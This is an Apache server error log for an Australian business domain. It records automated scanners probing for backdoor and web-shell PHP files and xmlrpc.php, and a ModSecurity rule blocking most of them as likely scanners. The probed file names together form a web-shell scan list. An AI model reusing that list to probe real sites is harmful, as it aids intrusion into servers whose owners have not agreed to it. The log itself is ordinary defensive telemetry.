[Sun Apr 12 01:36:24.935297 2026] [:error] [pid 44698:tid 44723] [client 4.232.184.116:11003] File does not exist: /usr/local/apache/htdocs/suspended-page/torsa1.php
[Sun Apr 12 01:36:25.169141 2026] [:error] [pid 44698:tid 44714] [client 4.232.184.116:11003] File does not exist: /usr/local/apache/htdocs/suspended-page/sadcut1.php
[Sun Apr 12 01:36:25.403897 2026] [:error] [pid 44698:tid 44717] [client 4.232.184.116:11003] File does not exist: /usr/local/apache/htdocs/suspended-page/zoper1.php
[Sun Apr 12 01:36:26.044466 2026] [:error] [pid 44698:tid 44726] [client 4.232.184.116:11003] File does not exist: /usr/local/apache/htdocs/suspended-page/ws.php
[Sun Apr 12 01:36:26.279932 2026] [:error] [pid 44698:tid 44709] [client 4.232.184.116:11003] File does not exist: /usr/local/apache/htdocs/suspended-page/ortasekerli1.php
[Sun Apr 12 01:36:26.514459 2026] [:error] [pid 44698:tid 44707] [client 4.232.184.116:11003] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-good.php
[Sun Apr 12 01:36:26.754852 2026] [:error] [pid 44698:tid 44722] [client 4.232.184.116:11003] File does not exist: /usr/local/apache/htdocs/suspended-page/wmore1.php
[Sun Apr 12 01:36:26.985990 2026] [:error] [pid 44698:tid 44716] [client 4.232.184.116:11003] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new3.php"] [unique_id "adqGmhgoH9UWd-U3D55g7wAAAI0"]
[Sun Apr 12 01:36:28.967120 2026] [:error] [pid 36938:tid 36946] [client 4.232.184.116:10900] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new3.php"] [unique_id "adqGnISWpa_VL1JPU6zd1QAAAYY"]
[Sun Apr 12 01:36:30.580527 2026] [:error] [pid 36909:tid 36913] [client 4.232.184.116:10983] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new3.php"] [unique_id "adqGnkGk5GhxTCzHUOoYCAAAAQI"]
[Sun Apr 12 01:36:32.108148 2026] [:error] [pid 36938:tid 36953] [client 4.232.184.116:11147] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new3.php"] [unique_id "adqGoISWpa_VL1JPU6zd6wAAAY0"]
[Sun Apr 12 01:36:33.786387 2026] [:error] [pid 44698:tid 44725] [client 4.232.184.116:11216] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nw.php"] [unique_id "adqGoRgoH9UWd-U3D55hEQAAAJY"]
[Sun Apr 12 01:36:34.755946 2026] [:error] [pid 44700:tid 44753] [client 4.232.184.116:11225] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nw.php"] [unique_id "adqGomryPgh_uW4QPClmOQAAAMk"]
[Sun Apr 12 01:36:35.987543 2026] [:error] [pid 36909:tid 36933] [client 4.232.184.116:11058] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nw.php"] [unique_id "adqGo0Gk5GhxTCzHUOoYVgAAARY"]
[Sun Apr 12 01:36:36.711804 2026] [:error] [pid 36909:tid 36929] [client 4.232.184.116:10977] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nw.php"] [unique_id "adqGpEGk5GhxTCzHUOoYWwAAARI"]
[Sun Apr 12 01:36:38.512092 2026] [:error] [pid 44698:tid 44725] [client 4.232.184.116:11175] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byypas.php"] [unique_id "adqGphgoH9UWd-U3D55hFQAAAJY"]
[Sun Apr 12 01:36:39.794539 2026] [:error] [pid 44701:tid 44778] [client 4.232.184.116:11259] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byypas.php"] [unique_id "adqGpxGZAP4MrlxEPFc7twAAAEY"]
[Sun Apr 12 01:36:41.138801 2026] [:error] [pid 36909:tid 36928] [client 4.232.184.116:11241] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byypas.php"] [unique_id "adqGqUGk5GhxTCzHUOoYZAAAARE"]
[Sun Apr 12 01:36:42.680311 2026] [:error] [pid 44698:tid 44709] [client 4.232.184.116:11183] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byypas.php"] [unique_id "adqGqhgoH9UWd-U3D55hFgAAAIY"]
[Sun Apr 12 01:36:43.727632 2026] [:error] [pid 44700:tid 44745] [client 4.232.184.116:10975] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rithin.php"] [unique_id "adqGq2ryPgh_uW4QPClmPwAAAME"]
[Sun Apr 12 01:36:44.968789 2026] [:error] [pid 44698:tid 44710] [client 4.232.184.116:11070] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rithin.php"] [unique_id "adqGrBgoH9UWd-U3D55hGQAAAIc"]
[Sun Apr 12 01:36:45.819835 2026] [:error] [pid 34152:tid 34161] [client 4.232.184.116:10948] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rithin.php"] [unique_id "adqGrYFtE4RhFslT1Dq-1gAAAAc"]
[Sun Apr 12 01:36:46.606989 2026] [:error] [pid 44698:tid 44705] [client 4.232.184.116:11129] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rithin.php"] [unique_id "adqGrhgoH9UWd-U3D55hHwAAAII"]
[Sun Apr 12 01:36:47.279779 2026] [:error] [pid 34152:tid 34155] [client 4.232.184.116:11046] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a4.php"] [unique_id "adqGr4FtE4RhFslT1Dq-2QAAAAE"]
[Sun Apr 12 01:36:47.942590 2026] [:error] [pid 45064:tid 45095] [client 4.232.184.116:11206] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a4.php"] [unique_id "adqGr5cHBvLyJ6EUhUr-WwAAAUM"]
[Sun Apr 12 01:36:49.253188 2026] [:error] [pid 44700:tid 44756] [client 4.232.184.116:10951] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a4.php"] [unique_id "adqGsWryPgh_uW4QPClmSQAAAMw"]
[Sun Apr 12 01:36:50.018637 2026] [:error] [pid 44698:tid 44720] [client 4.232.184.116:11194] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a4.php"] [unique_id "adqGshgoH9UWd-U3D55hIwAAAJE"]
[Sun Apr 12 01:36:50.589742 2026] [:error] [pid 45064:tid 45098] [client 4.232.184.116:11224] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jlex.php"] [unique_id "adqGspcHBvLyJ6EUhUr-YAAAAUY"]
[Sun Apr 12 01:36:51.311704 2026] [:error] [pid 45064:tid 45099] [client 4.232.184.116:11249] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jlex.php"] [unique_id "adqGs5cHBvLyJ6EUhUr-YQAAAUc"]
[Sun Apr 12 01:36:52.025065 2026] [:error] [pid 44701:tid 44792] [client 4.232.184.116:11203] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jlex.php"] [unique_id "adqGtBGZAP4MrlxEPFc7vQAAAFE"]
[Sun Apr 12 01:36:53.098217 2026] [:error] [pid 36909:tid 36919] [client 4.232.184.116:11160] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jlex.php"] [unique_id "adqGtUGk5GhxTCzHUOoYbQAAAQg"]
[Sun Apr 12 01:36:54.489043 2026] [:error] [pid 44701:tid 44789] [client 4.232.184.116:11083] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xsas.php"] [unique_id "adqGthGZAP4MrlxEPFc7wwAAAE4"]
[Sun Apr 12 01:36:55.678086 2026] [:error] [pid 36909:tid 36929] [client 4.232.184.116:11145] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xsas.php"] [unique_id "adqGt0Gk5GhxTCzHUOoYdwAAARI"]
[Sun Apr 12 01:36:57.148968 2026] [:error] [pid 34152:tid 34154] [client 4.232.184.116:11138] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xsas.php"] [unique_id "adqGuYFtE4RhFslT1Dq-6gAAAAA"]
[Sun Apr 12 01:37:01.819088 2026] [:error] [pid 44698:tid 44727] [client 4.232.184.116:10978] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xsas.php"] [unique_id "adqGvRgoH9UWd-U3D55hKQAAAJg"]
[Sun Apr 12 01:37:06.125044 2026] [:error] [pid 44700:tid 44767] [client 4.232.184.116:11019] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp/jp.php"] [unique_id "adqGwmryPgh_uW4QPClmWgAAANc"]
[Sun Apr 12 01:37:09.511151 2026] [:error] [pid 36909:tid 36914] [client 4.232.184.116:11151] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp/jp.php"] [unique_id "adqGxUGk5GhxTCzHUOoYkAAAAQM"]
[Sun Apr 12 01:37:11.133813 2026] [:error] [pid 36909:tid 36913] [client 4.232.184.116:11261] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp/jp.php"] [unique_id "adqGx0Gk5GhxTCzHUOoYlwAAAQI"]
[Sun Apr 12 01:37:12.280683 2026] [:error] [pid 36938:tid 36951] [client 4.232.184.116:10955] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp/jp.php"] [unique_id "adqGyISWpa_VL1JPU6zeRgAAAYs"]
[Sun Apr 12 01:37:12.994947 2026] [:error] [pid 44700:tid 44753] [client 4.232.184.116:10987] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8573.php"] [unique_id "adqGyGryPgh_uW4QPClmXwAAAMk"]
[Sun Apr 12 01:37:13.674685 2026] [:error] [pid 36938:tid 36952] [client 4.232.184.116:11217] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8573.php"] [unique_id "adqGyYSWpa_VL1JPU6zeSwAAAYw"]
[Sun Apr 12 01:37:14.309675 2026] [:error] [pid 36938:tid 36963] [client 4.232.184.116:10950] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8573.php"] [unique_id "adqGyoSWpa_VL1JPU6zeTQAAAZc"]
[Sun Apr 12 01:37:14.911896 2026] [:error] [pid 44701:tid 44785] [client 4.232.184.116:10884] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8573.php"] [unique_id "adqGyhGZAP4MrlxEPFc74QAAAEs"]
[Sun Apr 12 01:37:15.471032 2026] [:error] [pid 44700:tid 44756] [client 4.232.184.116:11048] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp5.php"] [unique_id "adqGy2ryPgh_uW4QPClmZAAAAMw"]
[Sun Apr 12 01:37:16.988609 2026] [:error] [pid 44701:tid 44777] [client 4.232.184.116:11253] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp5.php"] [unique_id "adqGzBGZAP4MrlxEPFc75AAAAEU"]
[Sun Apr 12 01:37:18.058148 2026] [:error] [pid 44701:tid 44799] [client 4.232.184.116:11067] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp5.php"] [unique_id "adqGzhGZAP4MrlxEPFc75wAAAFc"]
[Sun Apr 12 01:37:18.768486 2026] [:error] [pid 36938:tid 36942] [client 4.232.184.116:11212] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp5.php"] [unique_id "adqGzoSWpa_VL1JPU6zeVAAAAYI"]
[Sun Apr 12 01:37:20.228111 2026] [:error] [pid 36938:tid 36956] [client 4.232.184.116:11262] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp9.php"] [unique_id "adqG0ISWpa_VL1JPU6zeVgAAAZA"]
[Sun Apr 12 01:37:21.320372 2026] [:error] [pid 36938:tid 36964] [client 4.232.184.116:11023] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp9.php"] [unique_id "adqG0YSWpa_VL1JPU6zeWQAAAZg"]
[Sun Apr 12 01:37:22.853291 2026] [:error] [pid 36938:tid 36947] [client 4.232.184.116:11189] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp9.php"] [unique_id "adqG0oSWpa_VL1JPU6zeXgAAAYc"]
[Sun Apr 12 01:37:23.746715 2026] [:error] [pid 44701:tid 44792] [client 4.232.184.116:11242] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp9.php"] [unique_id "adqG0xGZAP4MrlxEPFc77wAAAFE"]
[Sun Apr 12 01:37:25.076888 2026] [:error] [pid 44700:tid 44760] [client 4.232.184.116:11201] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws88.php"] [unique_id "adqG1WryPgh_uW4QPClmZwAAANA"]
[Sun Apr 12 01:37:26.608563 2026] [:error] [pid 44701:tid 44793] [client 4.232.184.116:11005] File does not exist: /usr/local/apache/htdocs/suspended-page/ws88.php
[Sun Apr 12 01:37:26.840630 2026] [:error] [pid 44701:tid 44775] [client 4.232.184.116:11005] File does not exist: /usr/local/apache/htdocs/suspended-page/motu.php
[Sun Apr 12 01:37:27.072750 2026] [:error] [pid 44701:tid 44800] [client 4.232.184.116:11005] File does not exist: /usr/local/apache/htdocs/suspended-page/ibcqocdtu3eovdx2hwj7Cdefault.php
[Sun Apr 12 02:00:33.785606 2026] [:error] [pid 36909:tid 36921] [client 209.38.77.153:61116] [client 209.38.77.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/admin-ajax.php"] [unique_id "adqMQUGk5GhxTCzHUOofeQAAAQo"]
[Sun Apr 12 10:29:34.305698 2026] [:error] [pid 25437:tid 25450] [client 36.69.8.7:5287] [client 36.69.8.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.69.8.7, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "adsDjnf97wYZje1ep_OlXQAAAMs"]
[Sun Apr 12 10:29:34.310632 2026] [:error] [pid 25437:tid 25450] [client 36.69.8.7:5287] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Sun Apr 12 18:00:57.603572 2026] [:error] [pid 26567:tid 26591] [client 143.110.240.70:51378] [client 143.110.240.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/uploads/"] [unique_id "adttWXhRpg6ptWFyFx2boQAAARY"], referer: binance.com
[Sun Apr 12 18:01:06.119595 2026] [:error] [pid 26567:tid 26580] [client 143.110.240.70:52991] [client 143.110.240.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/images/"] [unique_id "adttYnhRpg6ptWFyFx2brwAAAQs"], referer: binance.com
[Sun Apr 12 18:01:11.661590 2026] [:error] [pid 26567:tid 26585] [client 143.110.240.70:54208] [client 143.110.240.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/files/"] [unique_id "adttZ3hRpg6ptWFyFx2btQAAARA"], referer: binance.com
[Sun Apr 12 20:33:30.567644 2026] [:error] [pid 25328:tid 25380] [client 177.190.178.204:4489] [client 177.190.178.204] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.190.178.204, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "aduRGsxUaQZxT-e0YsBK7gAAAEw"]
[Sun Apr 12 20:33:30.572549 2026] [:error] [pid 25328:tid 25380] [client 177.190.178.204:4489] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Mon Apr 13 00:37:24.041170 2026] [:error] [pid 26600:tid 26630] [client 20.251.15.206:5218] File does not exist: /usr/local/apache/htdocs/suspended-page/flower.php
[Mon Apr 13 00:37:24.317138 2026] [:error] [pid 26600:tid 26645] [client 20.251.15.206:5218] File does not exist: /usr/local/apache/htdocs/suspended-page/a7.php
[Mon Apr 13 00:37:26.035600 2026] [:error] [pid 26600:tid 26645] [client 20.251.15.206:5218] File does not exist: /usr/local/apache/htdocs/suspended-page/doc.php
